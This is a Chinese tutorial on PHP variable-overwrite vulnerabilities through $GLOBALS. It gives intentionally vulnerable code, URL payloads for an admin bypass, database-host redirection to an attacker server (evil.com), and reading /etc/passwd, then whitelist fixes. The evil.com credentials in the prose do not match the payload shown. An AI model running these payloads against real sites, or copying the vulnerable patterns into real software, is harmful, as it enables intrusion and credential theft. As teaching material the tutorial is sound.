由PHP代码本身,引出安全问题

1、概念:$GLOBALS变量是一个包含了全局作用域内所有可访问变量的关联数组(associative array)。其中,每个变量名称都是数组的键(key),而对应的值(value)就是该变量的当前值。

用法:你可以在PHP脚本的任何地方访问$GLOBALS变量。为了获取特定全局变量的值,只需要简单地通过其名称来索引该数组即可。

举例:

<?php
$x = 75;
$y = 25;

function addition() {
    $GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}

addition();
echo $z; // outputs 100
?>

在这个例子中,我们定义了两个全局变量$x和$y。然后,我们创建了一个名为addition的函数,该函数将$GLOBALS['x']和$GLOBALS['y']相加,并将结果赋值给全局变量$z。最后,我们在函数之外输出$z的值,以验证其值是否正确地被计算出来。

2、由此引出安全问题:$GLOBALS 是 PHP 超全局数组,可以在任意作用域读写全部全局变量。 高危场景:可控用户输入直接覆盖 $GLOBALS 数组,攻击者能篡改任意全局变量,引发:

  1. 变量覆盖漏洞(最常见)
  2. 权限绕过、登录绕过
  3. 代码执行、文件读写、SQL 注入加剧
  4. 密钥、数据库账号泄露篡改

触发条件:用户可控参数(GET/POST/COOKIE)键名直接赋值给 $GLOBALS

漏洞场景1:直接覆盖 $GLOBALS(经典变量覆盖)

<?php
// 模拟后台管理员校验标识
$is_admin = false;
$secret_key = "abc123456admin_secret";

// 危险逻辑:遍历所有用户传入参数,全部赋值给 $GLOBALS
foreach($_REQUEST as $k => $v) {
    $GLOBALS[$k] = $v;
}

// 业务判断:只有 $is_admin = true 才能查看敏感密钥
if ($is_admin) {
    echo "管理员密钥:" . $secret_key;
} else {
    echo "普通用户无权限";
}
?>

攻击payload:

bad.php?is_admin=1 //if()会自动把true识别为1

漏洞效果:用户传入 is_admin=1,循环执行 $GLOBALS['is_admin'] = "1",直接覆盖全局 $is_admin普通用户绕过管理员校验,泄露核心密钥

补:

foreach($_REQUEST as $k => $v) {
    $GLOBALS[$k] = $v;
}

//$_REQUEST:PHP内置超全局变量,包含了 $_GET、$_POST、$_COOKIE 的所有数据。

//foreach(... as $k => $v):遍历这个数组,$k 是参数名(如 username),$v 是参数值(如 admin)。

//$GLOBALS[$k] = $v:PHP中 $GLOBALS 指向全局作用域。这行代码就是在全局空间动态创建一个变量。

//举个例子: 如果用户访问 index.php?admin=1,这段代码执行后,相当于你在PHP文件顶部写了一句 $admin = 1;。

漏洞场景2:覆盖数据库配置,拖库 / 篡改数据库账号

<?php
// 数据库默认配置
$db_user = "root";
$db_pass = "real_password";
$db_host = "127.0.0.1";

// 危险:用户输入直接覆盖全局
parse_str($_GET['param'], $GLOBALS);

// 连接数据库
$conn = mysqli_connect($db_host, $db_user, $db_pass);
if (!$conn) {
    die("连接失败:" . mysqli_connect_error());
}
echo "数据库连接成功";
?>

攻击payload:

db_bad.php?param=db_user=hack&db_pass=123456&db_host=xxx.xxx.xxx.xxx

漏洞效果:攻击者覆盖 $db_host/$db_user/$db_pass,程序连接黑客可控数据库,窃取 / 篡改业务数据;也可覆盖为恶意数据库地址执行恶意 SQL。mysqli_connect() 尝试连接 evil.com 上的数据库,用 attacker/attack123 登录。如果攻击者在 evil.com 上搭建了伪造的MySQL服务器,就能:获取真实数据库的认证信息记录下 $db_user 和 $db_pass 的真实值(通过中间人攻击)。

补:parse_str() 函数把查询字符串解析到变量中。

<?php
parse_str("name=Peter&age=43",$myArray);
print_r($myArray);
?>
//存储变量到一个数组中
//运行结果:Array ( [name] => Peter [age] => 43 )

漏洞场景3:结合文件操作,任意文件读写

<?php
$file_path = "./safe.txt";

// 危险:输入覆盖全局变量
foreach($_POST as $key => $val){
    $GLOBALS[$key] = $val;
}

// 读取指定文件内容
echo file_get_contents($file_path);
?>

攻击payload:

file_path=/etc/passwd

漏洞效果:覆盖 $file_path,读取服务器任意敏感文件(Linux /etc/passwd、Windows C:\Windows\System32\drivers\etc\hosts、网站数据库配置 config.php)。

3、安全问题修复:

修复方案 1:只接收指定白名单参数

<?php
$is_admin = false;
$secret_key = "abc123456admin_secret";

// 白名单,只允许接收指定字段,拒绝任意变量覆盖
$allow_keys = ["username", "password"];
foreach($_REQUEST as $k => $v) {
    if (in_array($k, $allow_keys)) {
        $$k = $v; // 仅赋值允许的变量,不操作$GLOBALS
    }
}

if ($is_admin) {
    echo "管理员密钥:" . $secret_key;
} else {
    echo "普通用户无权限";
}
?>

修复方案 2:禁止将用户输入导入 $GLOBALS,单独赋值

<?php
$is_admin = false;
$secret_key = "abc123456admin_secret";

// 手动单独接收,不批量导入全局
$username = $_REQUEST['username'] ?? '';
$password = $_REQUEST['password'] ?? '';

if ($is_admin) {
    echo "管理员密钥:" . $secret_key;
} else {
    echo "普通用户无权限";
}
?>

修复方案 3:关闭危险配置(php.ini)

  • 关闭 register_globals(PHP5.3 + 默认关闭,老旧环境务必关闭)
  • 禁止使用 parse_str 第二个参数传入 $GLOBALS
  • 业务代码杜绝循环遍历用户输入批量写入全局数组

4、补充:$$ 可变变量 和 $GLOBALS 联动风险

CTF考点:?flag=hacker 直接篡改 flag

<?php
$flag = "secret_flag{123}";
foreach($_GET as $k=>$v){
    $GLOBALS[$k] = $v;
    $$k = $v;
}
echo $flag;
?>

5、还有许多全局变量函数:

参考链接:PHP 超级全局变量 | 菜鸟教程

更多推荐